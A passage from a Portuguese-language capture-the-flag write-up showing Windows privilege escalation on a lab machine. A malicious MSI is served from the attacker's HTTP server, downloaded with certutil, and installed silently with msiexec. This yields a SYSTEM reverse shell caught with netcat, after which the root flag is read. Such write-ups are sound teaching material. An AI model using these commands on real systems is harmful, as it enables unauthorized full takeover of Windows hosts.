Final size of msi file: 159744 bytes
Saved as: brunorev.msi

Feito isso, vamos transferir este arquivo para alvo com o utilitário certutil.exe.

attacker> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
PS C:\xampp\htdocs\omrs\images> certutil.exe -f -urlcache -split 'http://10.10.16.49/brunorev.msi'
****  Online  ****
  000000  ...
  027000
CertUtil: -URLCache command completed successfully.

Para que tudo esteja no ponto, basta se colocar em escuta com netcat na máquina atacante. Por fim, seguindo as instruções do Hacktricks, vamos executar a instalação do arquivo .msi malicioso.

PS C:\xampp\htdocs\omrs\images> msiexec /quiet /qn /i brunorev.msi

Funcionando, no netcat iremos receber uma reverse shell como NT AUTHORITY\SYSTEM.

attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.10.239] 62520
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system

Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.

C:\Users\Administrator\Desktop> type root.txt
fc5b314d1c6ca6e39e5a6ba5749cf36f

Atualizado